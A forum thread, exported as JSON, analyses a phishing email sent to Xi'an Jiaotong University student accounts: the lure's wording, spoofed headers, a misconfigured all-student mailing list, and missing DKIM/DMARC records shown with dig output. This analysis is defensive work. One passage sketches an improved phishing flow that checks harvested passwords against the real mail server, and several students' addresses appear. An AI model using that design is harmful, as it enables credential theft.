{"topic":{"id":1467,"title":"stu.xjtu.edu.cn CoreMail 邮箱钓鱼事件详尽分析","slug":"topic","categoryId":11,"createdAt":"2023-06-25 12:24:47.18403","bumpedAt":"2023-08-14 11:08:08.034755","views":865,"postsCount":4,"highestPostNumber":6,"likeCount":8,"closed":false,"pinned":false,"pinnedGlobally":false,"pinnedAt":null,"pinnedUntil":null,"isBanner":false,"excerpt":"这一企图窃取用户名密码的网络“钓鱼”攻击事件本质上属于社会工程学的范畴。攻击者冒充 admin 的权威身份，向用户发送邮件，通过谎称不输入密码后头就无法使用邮箱向用户施加压力，很多不冷静的同学会中招。今天就来分析一下下，如有不正确的地方，欢迎斧正 ☺️。钓鱼行为分析其实分析钓鱼邮件，有很多逻辑漏洞：标题：《关于停用学生邮箱的通知》学生 STU 邮箱自古已有，怎么可能停用，哪怕要停用，按照学校网信中心的惯例，也不会发邮件通知你的，…","deletedAt":null,"isAnonymous":false,"category":{"id":11,"name":"深入交流","slug":"distilled","color":"c01c28"},"author":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif"},"tags":["phishing","network","xjtu","email"]},"posts":[{"id":3448,"postNumber":1,"raw":"这一企图窃取用户名密码的网络“钓鱼”攻击事件本质上属于**社会工程学**的范畴。攻击者冒充 admin 的权威身份，向用户发送邮件，通过谎称*不输入密码后头就无法使用邮箱*向用户施加压力，很多不冷静的同学会中招。今天就来分析一下下，如有不正确的地方，欢迎斧正 :relaxed:。\n\n## 钓鱼行为分析\n\n其实分析钓鱼邮件，有很多逻辑漏洞：\n\n> 标题：《关于停用学生邮箱的通知》\n\n学生 STU 邮箱自古已有，怎么可能停用，哪怕要停用，按照学校网信中心的惯例，也不会发邮件通知你的，顶多在 NIC 主页上发一则消息。\n\n > 本通知发出后，未及时更新的学生帐号，1 周后（7 月 2 日）\n账号将设置为“暂停”，即只能接收邮件，不能登录和发送邮件。\n\n攻击者的逻辑都不能自洽：只能接收却不能登录和发送，然而不登录怎么能接收？\n\n> 为了加强电子邮件安全管理，规范电子邮箱使用，保障师生权益，根据相关规定，未更新的学生账号 (@stu.xjtu.edu.cn）将被停用。\n\n企图模仿权威口吻，但“相关规定”是哪些它并没有讲，而且它最后所附链接 https://coremail.club/ 的网站实在做得太 low 了，一点儿都没有体现那里有“加强电子邮件安全管理，规范电子邮箱使用”。\n\n要是我来做的话，这封钓鱼邮件内容是说你的邮箱存在违规行为，需要点击某个链接以解决问题并修改密码，否则将予以封号处理。而且点击的链接肯定是一长串，带有用户名信息的链接，而不是这个攻击者用的如此简单的链接，连 xjtu.edu.cn 下面的子域名都不是（注意：以你交的 IT 技术水平，哪怕是官方域名也有钓鱼的可能，例如修改 DNS 记录、或者是在开放式无线网络中做 MITM 攻击）。\n\n进入钓鱼网站后：\n* 第一步，只让你输入邮箱地址（并且核验这个邮箱地址是不是邮件里的链接）不用输入密码以免你起疑心\n* 第二步，说你有违规行为，所以要给你进行邮箱相关法律法规宣教；\n* 第三步，问你是否仔细阅读并同意“电子邮箱使用规定”，如果是，请输入旧密码、设定新密码，以进行解封操作，此时网站后台连接 https://stu.xjtu.edu.cn 即真实的邮箱服务器，验证密码是否正确，如果是才给用户返回“成功”的讯息。这次这个攻击者啥都没做，就输入了个不知道可对的用户名密码就返回“更新成功”，着实是“更新了个寂寞”。\n\n我认为这样才基本上算是一个合格的钓鱼攻击流程，这次的攻击者着实有点 too young too simple 了。\n\n## 邮件的技术性分析\n这次很多同学中招，一方面原因是发件人向 `ceshi@stu.xjtu.edu.cn` 这个邮件列表发送，而咱们**所有**用户都被配置订阅了这个邮件列表。这看起来像是配置错误导致的。\n\n另一个很重要的原因是被发件人的邮件地址 `admin@stu.xjtu.edu.cn` 这样一个看起来比较权威的地址所误导，之前这个地址发送过*西安交通大学校友汇刊 2023 年第 6 期*、*关于开展第三届校园开放日满意度调查的通知*这样的合法邮件。这主要是由 Email 标准自身的局限性导致的。\n\n这个 From:字段从名称上看应当为发件人的邮箱地址（邮件软件图形界面里发件人一栏显示的即是这里的内容），但请注意这一字段**可以是假的**甚至是空白。\n\n根据 RFC5322:“From/来自：”字段指定消息的作者，即负责撰写消息的人的邮箱或系统的邮箱。 “Sender/发送者：”字段指定负责消息实际传输的代理的邮箱。例如，如果秘书要向他人发送消息，则秘书的邮箱将出现在“发送者：”字段中：实际作者的邮箱将出现在“来自：”字段中。如果消息的发起人可以由同一个邮箱表示，并且作者和传输者是相同的，则不应使用“发送者：”字段。否则，两个字段都应出现。\n\n这被称为 [Email Spoofed Phishing Attacks](https://www.cmu.edu/iso/news/2020/email-spoofing.html)。\n\n以下将逐行分析邮件的原始内容（eml 文件源码），可能会有点乱（尤其是手机 UI），但暂时没有更好的办法：\n\n---\n\n[wrap=color color=green bgcolor=#] 发件人的信息及 SMTP 收件软件信息 [/wrap]\n\nReceived: from youardomain.com (unknown [122.239.134.75(浙江省温州市电信)]) \n

\nby app1 (Coremail) with SMTP id <已省略了一串 X-CM-TRANSID>; \n\nSun, 25 Jun 2023 <已省略收件的时间> +0800 (CST)\n\n\n\nMessage-ID: <[wrap=color color=grey bgcolor=#] 已省略了长度为 32 的像是 MD5 的字符串 [/wrap]@youardomain.com>\nFrom: admin [wrap=color color=green bgcolor=#] 此字段上文中已详细分析 [/wrap]\n\nTo: ceshi [wrap=color color=green bgcolor=#] 收件人邮箱地址 [/wrap]\nSubject: =?utf-8?B?5YWz5LqO5YGc55So5a2m55Sf6YKu566x55qE6YCa55+l?=\n[wrap=color color=green bgcolor=#] 注：对于 MINE 消息头中的非 ASCII 字符采用了 RFC 2047 标准进行编码，[/wrap]\n\n[wrap=color color=green bgcolor=#] 这一段字符串解码后即是邮件主题“关于停用学生邮箱的通知”[/wrap]\n\nDate: Sun, 25 Jun 2023 [wrap=color color=grey bgcolor=#] 此处省略了时间 [/wrap] +0800\nMIME-Version: 1.0\nContent-Type: multipart/alternative;\n\tboundary=\"----=__=----\" [wrap=color color=green bgcolor=#] 该邮件有好几部分，这一行表示边界 [/wrap]\nX-Priority: 3 [wrap=color color=green bgcolor=#] 邮件的优先级 [/wrap]\nX-Mailer: Supmailer 38.2.0 [wrap=color color=green bgcolor=#] 由什么软件发送的邮件 [/wrap]\nX-CM-TRANSID:[wrap=color color=grey bgcolor=#] 已省略了一串 X-CM-TRANSID[/wrap]\nX-Coremail-Antispam [wrap=color color=green bgcolor=#] 经过 coremail 邮件系统 MTA 投递时自动生成的反垃圾邮件信息 [/wrap]:\n\t[wrap=color color=grey bgcolor=#] 省略了 N 多行内容 [/wrap]\n\n\nSender: yushunjiang@stu.xjtu.edu.cn [wrap=color color=green bgcolor=#] 参见之前的 From:字段 [/wrap]\nDelivered-To: ceshi@stu.xjtu.edu.cn[wrap=color color=green bgcolor=#]RFC 9228 专门描述这个字段，表示邮件投递到了哪个地址 [/wrap]\nPrecedence: list\nX-Ack: No\nErrors-to: yushunjiang@stu.xjtu.edu.cn [wrap=color color=green bgcolor=#]“投递通知”应该发送到哪个地址，RFC 不推荐使用该字段，\n应改用 RCPT TO 和\n Return-Path[/wrap]\nList-Post: [wrap=color color=red bgcolor=#] 使用该 URL 以发送给邮件列表：这就是为什么全校同学都收到\n这封邮件的原因，因为咱们都在 ceshi@stu.xjtu.edu.cn 这个邮件列表地址里 [/wrap]\nList-Id: coremail maillist ceshi@stu.xjtu.edu.cn [wrap=color color=green bgcolor=#] 邮件列表标识符 [/wrap]\nX-CM-Resent-From: ceshi@stu.xjtu.edu.cn\nX-CM-SenderInfo: [wrap=color color=grey bgcolor=#]Coremail 邮件系统添加的一串对人来说没有信息量的字符串 [/wrap]\n\n[wrap=color color=green bgcolor=#] 邮件头的这些字段大多是由 RFC 标准确定的：https://www.iana.org/assignments/message-headers/message-headers.xhtml。\n而 X-CM 开头的字段想必就是 CoreMail 邮件软件添加的 [/wrap]\n\n\n最后面是一堆东西 base64 编码的内容，包括一段纯文本和一个 html：\n

\n各位同学：\n 为了加强电子邮件安全管理，规范电子邮箱使用，保障师生权益，根据相关规定，\n未更新的学生账号 (@stu.xjtu.edu.cn）将被停用。\n 现将本次批量停用邮箱帐号相关事宜通知如下：\n本通知发出后，未及时更新的学生帐号，1 周后（7 月 2 日）\n账号将设置为“暂停”，即只能接收邮件，不能登录和发送邮件。\n请各位同学相互告知，及时更新学生账号。\n点击进行 coremail 更新\n\n\n---\n\n## 附上門友提供的该次钓鱼邮件事件的截图\n[grid mode=\"tile\"]\n![钓鱼邮件|1000x500, 30%](https://xjtu.app/uploads/image/2e/96/2e967d9f24b588f9914556901ffd236a3d4fb72e7accef86aac22c11ec0605bc.avif)\n\n![网页截图|1000x500, 30%](https://xjtu.app/uploads/image/07/fc/07fc3e94aec41c38366df85215d59178bd1066ed23bc9e05490f3138ffe4b9d1.avif)\n[/grid]\n\n## 个人见解\nstu.xjtu.edu.cn 这种不太靠谱的邮件服务不要用于重要的事情。\n\n建议你交买个 Gmail 企业版，或者 MS outlook 企业版，邮件服务这东西还是大公司最可靠，而且比你买 CoreMail 软件自己搭建运维要省事。\n\n这次事件充分暴露了你交 IT 系统有多烂，之前也有其他門友分享过：\nhttps://xjtu.app/t/topic/117\n\n**这次只是一个很平庸的攻击，后面来个大的也未尝不可。**\n\n\nDNS 污染本站的动作倒挺快，~~然而这次事件之后这么长时间了 stu 邮箱并没收到任何预警/解释的邮件。~~\n\n### 更新 1：\n后面 stu 邮箱确实是收到了一封标题为“关于加强防范钓鱼邮件的通知”的邮件。\n\n但没啥信息量，而且内容也有槽点，例如\n> **看清邮件发送方的域名地址** 我校官方电子邮件均以**[admin@xjtu.edu.cn](mailto:admin@xjtu.edu.cn)**发出，如对方邮箱帐号与上述不一致，或非学校官方邮箱，则需保持警惕\n\n然而，此封邮件本身是由发出的，的确**与上述不一致** :grinning_face_with_sweat:，这是否说明此封邮件也是非官方发出的？？\n\n另外，网信中心咩改变也没做。例如，想必大家都收到了来自 { dapengcao, guhanwen}@stu.xjtu.edu.cn 回复 admin@stu.xjtu.edu.cn 的 \"回复：关于停用学生邮箱的通知\" 邮件吧\n\n> 请问不能登录怎么接收邮件啊\n\n> 你好，请问尝试登录邮箱显示登录已超次数该怎么办呢？\n\n为啥他们回复给 admin 的邮件我们全都收到了呢？这说明**任何人**还是都能往拥有所有人邮箱的邮件列表发邮件。关于这一点到底是不是个 problem，你可以想象一下，假如 Gmail 的任何用户都能给其他所有 Gmail 用户**群发**邮件是什么样子。你交 IT 系统着实是没救了。\n\n\n## 更新 2：攻击得逞的原因——邮件安全扩展 DKIM、DMARC、SPF\n早期互联网的设计没有考虑一丁点安全性，比如 DNS, HTTP，流量都是明文，隐私都在裸奔。邮件协议也不例外。\n\n类似纸质邮件，`Sender:`和 `From:` 分别对应**信封**上的发件人和**内部信纸**上的发件人，为了应用的灵活性，这两栏可以不一样，从而就有*冒用身份发送电邮*这一攻击。\n\n邮件安全扩展 DKIM、DMARC、SPF 就是为了克服这一安全方面上的缺憾而设计的。关于这些，洋文好的同学可以看下面的这个链接，深入浅出，非常详细：\n\nhttps://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide\n\n为啥这次 stu 邮箱攻击能得逞？我们查询一下 `stu.xjtu.edu.cn`这个域名的相关 DNS 记录即可知道答案。你也可以用`dig` 这样的工具自己查询验证，或者可以用在线服务查询。结果如下：\n\n```\n$ dig stu.xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.51(陕西省西安市西安交通大学教育网) ip4:202.117.1.52(陕西省西安市西安交通大学教育网) include:spf.icoremail.net ~all\n\n$ dig xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.0(陕西省西安市西安交通大学教育网)/24 ip4:117.32.155.53(陕西省西安市电信) ip6:2001:250:1001:1::1/64 include:spf.icoremail.net ~all\n```\n\nSPF 全称为 Sender Policy Framework，2000 年左右出现，作用是允许域名的所有者设置“只有哪些 IP/域名的计算机发信才是合法的，否则都是未经过授权的”。由上面的 DNS 记录可见确实仅允许某些服务器发信。但是对于“这些服务器发的邮件传送到接受者的服务器的过程中是否有被篡改“就无能为力了。因而需要 DKIM。\n\nDKIM 全称 DomainKeys Identified Mail，通过公私钥**非对称加密**，实现传输信息不被篡改，即接受者的服务器可通过文件头中的 DKIM 签名，判断该邮件的元数据和正文在传输过程中有没有被篡改。DKIM 因而可以被理解为纸质邮件系统中的**邮戳**。stu 邮箱接收到的邮件头部**缺少**这一字段。\n\nDMARC 用于设置 DKIM 验证失败或者 Sender:/From:不统一时，收件邮件服务器应当怎么处理。有几种 policy：\n* reject 表示退信，从而该邮件**不会**出现在收件人的邮箱中。\n* quarantine 表示防疫隔离，把该邮件分类到**spam**文件夹里，提醒收件人注意该邮件是有问题的。\n* none 表示不管，从而该邮件就**像正常邮件一样**出现收件人的邮箱\n\nDNS 检索结果显示 stu 邮箱应该是**没有设置 DKIM 和 DMARC**！\n\n下面看看这个交大門网站的邮件安全性如何呢？\n交大門是通过 MailGun 实现邮件服务的。\n```\n$ dig xjtu.app txt +short \n\"v=spf1 -all\"\n\n$ dig mg.xjtu.app txt +short \n\"v=spf1 include:mailgun.org ~all\"\n\n$ dig krs._domainkey.mg.xjtu.app txt +short\n\"k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5Wqp0OsFNjfZ+03zwfKnN2Wx0A24AiKVH+ypYqWseBq16WxKpyQ5ZdJWqnNd96RCugXwjW4S+ylgB2u0U6QNZvCvwoJZMdc2uzEeVv5o7dH7sh2qlH0D+u0MMoM4LYtO+TFdnaM7mI83m1vYp0Ns4LECbxTvFWTMYDP8UgMNUqQIDAQAB\"\n\n$ dig _dmarc.xjtu.app txt +short\n\"v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:c8d07a9ce26e4cfcb1d42ba73f9e17cd@dmarc-reports.cloudflare.net\"\n\n```\n可以看出交大門非常注重安全性，配置了只有 mailgun.org 的服务器才可以代表本站发信，并且配置了 DKIM 保证了邮件的 integrity，DMARC 策略是 reject，即有人企图假冒本站，收件邮件系统应当直接丢弃。\n\n在这里讲一个趣事，交大門早期有 Gmail 用户和 Outlook 用户抱怨收不到注册邮件，垃圾邮件文件夹里也没有。原因是邮件由于 reject 的 DMARC 策略被直接丢弃了。\n\n然而 SPF 和 DKIM 的配置都正确，（不然其他邮件服务的用户也注册不了啊），为什么会被丢掉呢？\n\n原因是起初给用户发邮件用的是 `noreply@xjtu.app`这个地址，而 mailgun 里配置使用的是`mg.xjtu.app` 这个子域名，由 Gmail 显示的原始邮件内容中可见：\n```\nSender: noreply=xjtu.app@mg.xjtu.app\nFrom: \"xjtu.app 交大門\" \n```\n由于是 mg.xjtu.app 代 xjtu.app 发信，从而 Sender 和 From 两个字段不统一，所以被 Gmail 退信。\n在这里特地表扬 Google Gmail 和 MS Outlook 在安全方面的谨慎。\n\n再吐槽一下，交大門作为一个非官方网站，都能遵循网络安全领域的 common practice 进行配置。堂堂一个几万人的大学，IT 系统这么烂，着实有点说不过去。\n\n如果有顶级黑客想渗透你交的 IT 系统，恐怕早已做过并留下后门，所以你交引以为傲的一些很牛的科研成果的原创团队要留心了，需要提高信息安全素养，别让成果被黑客给窃取了。\n\n## 另请参阅：\nhttps://xjtu.app/t/topic/1459","cooked":"

这一企图窃取用户名密码的网络“钓鱼”攻击事件本质上属于社会工程学的范畴。攻击者冒充 admin 的权威身份，向用户发送邮件，通过谎称不输入密码后头就无法使用邮箱向用户施加压力，很多不冷静的同学会中招。今天就来分析一下下，如有不正确的地方，欢迎斧正 ☺️。

钓鱼行为分析

其实分析钓鱼邮件，有很多逻辑漏洞：

\n
标题：《关于停用学生邮箱的通知》
\n

学生 STU 邮箱自古已有，怎么可能停用，哪怕要停用，按照学校网信中心的惯例，也不会发邮件通知你的，顶多在 NIC 主页上发一则消息。

\n
本通知发出后，未及时更新的学生帐号，1 周后（7 月 2 日）
\n账号将设置为“暂停”，即只能接收邮件，不能登录和发送邮件。
\n

攻击者的逻辑都不能自洽：只能接收却不能登录和发送，然而不登录怎么能接收？

\n
为了加强电子邮件安全管理，规范电子邮箱使用，保障师生权益，根据相关规定，未更新的学生账号 (@stu.xjtu.edu.cn）将被停用。
\n

企图模仿权威口吻，但“相关规定”是哪些它并没有讲，而且它最后所附链接 https://coremail.club/ 的网站实在做得太 low 了，一点儿都没有体现那里有“加强电子邮件安全管理，规范电子邮箱使用”。

要是我来做的话，这封钓鱼邮件内容是说你的邮箱存在违规行为，需要点击某个链接以解决问题并修改密码，否则将予以封号处理。而且点击的链接肯定是一长串，带有用户名信息的链接，而不是这个攻击者用的如此简单的链接，连 xjtu.edu.cn 下面的子域名都不是（注意：以你交的 IT 技术水平，哪怕是官方域名也有钓鱼的可能，例如修改 DNS 记录、或者是在开放式无线网络中做 MITM 攻击）。

进入钓鱼网站后：

第一步，只让你输入邮箱地址（并且核验这个邮箱地址是不是邮件里的链接）不用输入密码以免你起疑心
第二步，说你有违规行为，所以要给你进行邮箱相关法律法规宣教；
第三步，问你是否仔细阅读并同意“电子邮箱使用规定”，如果是，请输入旧密码、设定新密码，以进行解封操作，此时网站后台连接 https://stu.xjtu.edu.cn 即真实的邮箱服务器，验证密码是否正确，如果是才给用户返回“成功”的讯息。这次这个攻击者啥都没做，就输入了个不知道可对的用户名密码就返回“更新成功”，着实是“更新了个寂寞”。

我认为这样才基本上算是一个合格的钓鱼攻击流程，这次的攻击者着实有点 too young too simple 了。

邮件的技术性分析

这次很多同学中招，一方面原因是发件人向 ceshi@stu.xjtu.edu.cn 这个邮件列表发送，而咱们所有用户都被配置订阅了这个邮件列表。这看起来像是配置错误导致的。

另一个很重要的原因是被发件人的邮件地址 admin@stu.xjtu.edu.cn 这样一个看起来比较权威的地址所误导，之前这个地址发送过西安交通大学校友汇刊 2023 年第 6 期、关于开展第三届校园开放日满意度调查的通知这样的合法邮件。这主要是由 Email 标准自身的局限性导致的。

这个 From:字段从名称上看应当为发件人的邮箱地址（邮件软件图形界面里发件人一栏显示的即是这里的内容），但请注意这一字段可以是假的甚至是空白。

根据 RFC5322:“From/来自：”字段指定消息的作者，即负责撰写消息的人的邮箱或系统的邮箱。 “Sender/发送者：”字段指定负责消息实际传输的代理的邮箱。例如，如果秘书要向他人发送消息，则秘书的邮箱将出现在“发送者：”字段中：实际作者的邮箱将出现在“来自：”字段中。如果消息的发起人可以由同一个邮箱表示，并且作者和传输者是相同的，则不应使用“发送者：”字段。否则，两个字段都应出现。

这被称为 Email Spoofed Phishing Attacks。

以下将逐行分析邮件的原始内容（eml 文件源码），可能会有点乱（尤其是手机 UI），但暂时没有更好的办法：

发件人的信息及 SMTP 收件软件信息

Received: from youardomain.com (unknown [122.239.134.75(浙江省温州市电信)])

Sun, 25 Jun 2023 <已省略收件的时间> +0800 (CST)

Message-ID: < 已省略了长度为 32 的像是 MD5 的字符串 @youardomain.com>
\nFrom: admin admin@stu.xjtu.edu.cn 此字段上文中已详细分析

To: ceshi ceshi@stu.xjtu.edu.cn 收件人邮箱地址
\nSubject: =?utf-8?B?5YWz5LqO5YGc55So5a2m55Sf6YKu566x55qE6YCa55+l?=
\n 注：对于 MINE 消息头中的非 ASCII 字符采用了 RFC 2047 标准进行编码，

这一段字符串解码后即是邮件主题“关于停用学生邮箱的通知”

Date: Sun, 25 Jun 2023 此处省略了时间 +0800
\nMIME-Version: 1.0
\nContent-Type: multipart/alternative;
\nboundary=\"----==----\" 该邮件有好几部分，这一行表示边界
\nX-Priority: 3 邮件的优先级
\nX-Mailer: Supmailer 38.2.0 由什么软件发送的邮件
\nX-CM-TRANSID: 已省略了一串 X-CM-TRANSID
\nX-Coremail-Antispam 经过 coremail 邮件系统 MTA 投递时自动生成的反垃圾邮件信息 :
\n 省略了 N 多行内容

Sender: yushunjiang@stu.xjtu.edu.cn 参见之前的 From:字段
\nDelivered-To: ceshi@stu.xjtu.edu.cnRFC 9228 专门描述这个字段，表示邮件投递到了哪个地址
\nPrecedence: list
\nX-Ack: No
\nErrors-to: yushunjiang@stu.xjtu.edu.cn “投递通知”应该发送到哪个地址，RFC 不推荐使用该字段，
\n应改用 RCPT TO 和
\nReturn-Path
\nList-Post: mailto:ceshi@stu.xjtu.edu.cn 使用该 URL 以发送给邮件列表：这就是为什么全校同学都收到
\n这封邮件的原因，因为咱们都在 ceshi@stu.xjtu.edu.cn 这个邮件列表地址里
\nList-Id: coremail maillist ceshi@stu.xjtu.edu.cn 邮件列表标识符
\nX-CM-Resent-From: ceshi@stu.xjtu.edu.cn
\nX-CM-SenderInfo: Coremail 邮件系统添加的一串对人来说没有信息量的字符串

邮件头的这些字段大多是由 RFC 标准确定的：https://www.iana.org/assignments/message-headers/message-headers.xhtml。
\n而 X-CM 开头的字段想必就是 CoreMail 邮件软件添加的

最后面是一堆东西 base64 编码的内容，包括一段纯文本和一个 html：

@stu.xjtu.edu.cn

附上門友提供的该次钓鱼邮件事件的截图

$\"钓鱼邮件\"$

$\"网页截图\"$

个人见解

stu.xjtu.edu.cn 这种不太靠谱的邮件服务不要用于重要的事情。

建议你交买个 Gmail 企业版，或者 MS outlook 企业版，邮件服务这东西还是大公司最可靠，而且比你买 CoreMail 软件自己搭建运维要省事。

这次事件充分暴露了你交 IT 系统有多烂，之前也有其他門友分享过：

\n $\"anonymous_coward_old\"$ \n anonymous_coward_old — #1 in 交大（西安）趣事II\n

接续前篇

\n
If you dislike something, try to transform it as you like
\n如果您不喜欢它，请致力于把它改变成您喜欢的样子
\n

\n
If you dislike something, get away from it! Don't look for trouble!
\n如果您不喜欢它，请避而远之不要自讨苦吃
\n

本人奉一颗“多问几个为什么”的心、但已颇万念俱灰、不喜请喷\n

为什么有些课教师心中知道教学无方却严厉要求学生到课？为什么有些课学生和教师心照不宣地互相敷衍了事？

然而有些教师把教学/对新研究的解读发布到公共视频平台，学生不请自来。

我觉得你交很浮躁，有很多名词可以叨叨叨

中国西部科技创新港这个名头，你交能代表中国西部吗，从地理和历史上讲，西安一直是中原；并且你交凭什么代表中国西部的科技创新水平 😅
机械学院在创新港换名叫高端装备研究院，还有什么高端人才生存基地、前沿科技研究院、未来技术学院。这些称谓信息量很低，因为不存在低端科技/人才研究院/基地，我也很讨厌冠冕堂皇地把人分成三六九等。
\n另外，人不还是那些人，尤其是行政人员，从理论上说你们应该是秘书或者后勤（比如我有一张某公司的园区消费卡，上面“XX 行政服务”下面的英文是 Logistics 即后勤），在科研产出机构里应当为科研产出人员服务，可是你们在现实中一个个都是老爷，有一点点权力就要恶心人。

IT 基础设施问题

说完了行政人员，不得不吐槽你交 IT 基础设施。

IT 系统不好用，尽管软件都是采购、外包的。举个例子，在网站上打开假期去向填写功能以后，出来个 QR code 强迫你使用企业微信，我寻思以前 web 上可以填的，怎么越做越做回去了呢？（是不是怕 Selenium？之前恶心的健康每日报就能用自动化工具填写。企业微信还给你进行 GPS 定位，不过可以用 Magisk 诱骗位置）
信息安全也不行。好几年前，免费 SSL 证书、自动化 HTTPS 部署就已经很流行了，可是到今年*.xjtu.edu.cn 都没有全站自动 HTTPS，此外还有神队友助攻：所有 XJTU_* AP 都是开放式无线网络，很容易 MITM。为啥不全像 xjtu1x AP 一样使用 WPA Enterprise 加密。
\n这里还要吐槽兴庆宿舍每个鸽子笼门上方都打个孔安装 H3C router，影响美观和风水不说，从信号覆盖的角度完全没有必要这么密集，这完全是浪费钱，可能还会导致无线信道拥挤。宿舍鸽子笼里面多了个 24 小时有电有网的电子设备，它具有哪些潜在的能力我就不说了。

\n
Environment is the root for all sorts of mental disorders.
\n环境是一切心理问题的根源
\n

这次只是一个很平庸的攻击，后面来个大的也未尝不可。

DNS 污染本站的动作倒挺快，~~然而这次事件之后这么长时间了 stu 邮箱并没收到任何预警/解释的邮件。~~

更新 1：

后面 stu 邮箱确实是收到了一封标题为“关于加强防范钓鱼邮件的通知”的邮件。

但没啥信息量，而且内容也有槽点，例如

\n
看清邮件发送方的域名地址 我校官方电子邮件均以**admin@xjtu.edu.cn**发出，如对方邮箱帐号与上述不一致，或非学校官方邮箱，则需保持警惕
\n

然而，此封邮件本身是由admin@stu.xjtu.edu.cn发出的，的确与上述不一致 😅，这是否说明此封邮件也是非官方发出的？？

另外，网信中心咩改变也没做。例如，想必大家都收到了来自 { dapengcao, guhanwen}@stu.xjtu.edu.cn 回复 admin@stu.xjtu.edu.cn 的 \"回复：关于停用学生邮箱的通知\" 邮件吧

\n
请问不能登录怎么接收邮件啊
\n

\n
你好，请问尝试登录邮箱显示登录已超次数该怎么办呢？
\n

为啥他们回复给 admin 的邮件我们全都收到了呢？这说明任何人还是都能往拥有所有人邮箱的邮件列表发邮件。关于这一点到底是不是个 problem，你可以想象一下，假如 Gmail 的任何用户都能给其他所有 Gmail 用户群发邮件是什么样子。你交 IT 系统着实是没救了。

更新 2：攻击得逞的原因——邮件安全扩展 DKIM、DMARC、SPF

早期互联网的设计没有考虑一丁点安全性，比如 DNS, HTTP，流量都是明文，隐私都在裸奔。邮件协议也不例外。

类似纸质邮件，Sender:和 From: 分别对应信封上的发件人和内部信纸上的发件人，为了应用的灵活性，这两栏可以不一样，从而就有冒用身份发送电邮这一攻击。

邮件安全扩展 DKIM、DMARC、SPF 就是为了克服这一安全方面上的缺憾而设计的。关于这些，洋文好的同学可以看下面的这个链接，深入浅出，非常详细：

\n\n

为啥这次 stu 邮箱攻击能得逞？我们查询一下 stu.xjtu.edu.cn这个域名的相关 DNS 记录即可知道答案。你也可以用dig 这样的工具自己查询验证，或者可以用在线服务查询。结果如下：

$ dig stu.xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.51(陕西省西安市西安交通大学教育网) ip4:202.117.1.52(陕西省西安市西安交通大学教育网) include:spf.icoremail.net ~all\n\n$ dig xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.0(陕西省西安市西安交通大学教育网)/24 ip4:117.32.155.53(陕西省西安市电信) ip6:2001:250:1001:1::1/64 include:spf.icoremail.net ~all\n

SPF 全称为 Sender Policy Framework，2000 年左右出现，作用是允许域名的所有者设置“只有哪些 IP/域名的计算机发信才是合法的，否则都是未经过授权的”。由上面的 DNS 记录可见确实仅允许某些服务器发信。但是对于“这些服务器发的邮件传送到接受者的服务器的过程中是否有被篡改“就无能为力了。因而需要 DKIM。

DKIM 全称 DomainKeys Identified Mail，通过公私钥非对称加密，实现传输信息不被篡改，即接受者的服务器可通过文件头中的 DKIM 签名，判断该邮件的元数据和正文在传输过程中有没有被篡改。DKIM 因而可以被理解为纸质邮件系统中的邮戳。stu 邮箱接收到的邮件头部缺少这一字段。

DMARC 用于设置 DKIM 验证失败或者 Sender:/From:不统一时，收件邮件服务器应当怎么处理。有几种 policy：

reject 表示退信，从而该邮件不会出现在收件人的邮箱中。
quarantine 表示防疫隔离，把该邮件分类到spam文件夹里，提醒收件人注意该邮件是有问题的。
none 表示不管，从而该邮件就像正常邮件一样出现收件人的邮箱

DNS 检索结果显示 stu 邮箱应该是没有设置 DKIM 和 DMARC！

下面看看这个交大門网站的邮件安全性如何呢？
\n交大門是通过 MailGun 实现邮件服务的。

$ dig xjtu.app txt +short                    \n\"v=spf1 -all\"\n\n$ dig mg.xjtu.app txt +short                   \n\"v=spf1 include:mailgun.org ~all\"\n\n$ dig krs._domainkey.mg.xjtu.app txt +short\n\"k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5Wqp0OsFNjfZ+03zwfKnN2Wx0A24AiKVH+ypYqWseBq16WxKpyQ5ZdJWqnNd96RCugXwjW4S+ylgB2u0U6QNZvCvwoJZMdc2uzEeVv5o7dH7sh2qlH0D+u0MMoM4LYtO+TFdnaM7mI83m1vYp0Ns4LECbxTvFWTMYDP8UgMNUqQIDAQAB\"\n\n$ dig _dmarc.xjtu.app txt +short\n\"v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:c8d07a9ce26e4cfcb1d42ba73f9e17cd@dmarc-reports.cloudflare.net\"\n\n

可以看出交大門非常注重安全性，配置了只有 mailgun.org 的服务器才可以代表本站发信，并且配置了 DKIM 保证了邮件的 integrity，DMARC 策略是 reject，即有人企图假冒本站，收件邮件系统应当直接丢弃。

在这里讲一个趣事，交大門早期有 Gmail 用户和 Outlook 用户抱怨收不到注册邮件，垃圾邮件文件夹里也没有。原因是邮件由于 reject 的 DMARC 策略被直接丢弃了。

然而 SPF 和 DKIM 的配置都正确，（不然其他邮件服务的用户也注册不了啊），为什么会被丢掉呢？

原因是起初给用户发邮件用的是 noreply@xjtu.app这个地址，而 mailgun 里配置使用的是mg.xjtu.app 这个子域名，由 Gmail 显示的原始邮件内容中可见：

Sender: noreply=xjtu.app@mg.xjtu.app\nFrom: \"xjtu.app 交大門\" <noreply@xjtu.app>\n

由于是 mg.xjtu.app 代 xjtu.app 发信，从而 Sender 和 From 两个字段不统一，所以被 Gmail 退信。
\n在这里特地表扬 Google Gmail 和 MS Outlook 在安全方面的谨慎。

再吐槽一下，交大門作为一个非官方网站，都能遵循网络安全领域的 common practice 进行配置。堂堂一个几万人的大学，IT 系统这么烂，着实有点说不过去。

如果有顶级黑客想渗透你交的 IT 系统，恐怕早已做过并留下后门，所以你交引以为傲的一些很牛的科研成果的原创团队要留心了，需要提高信息安全素养，别让成果被黑客给窃取了。

另请参阅：

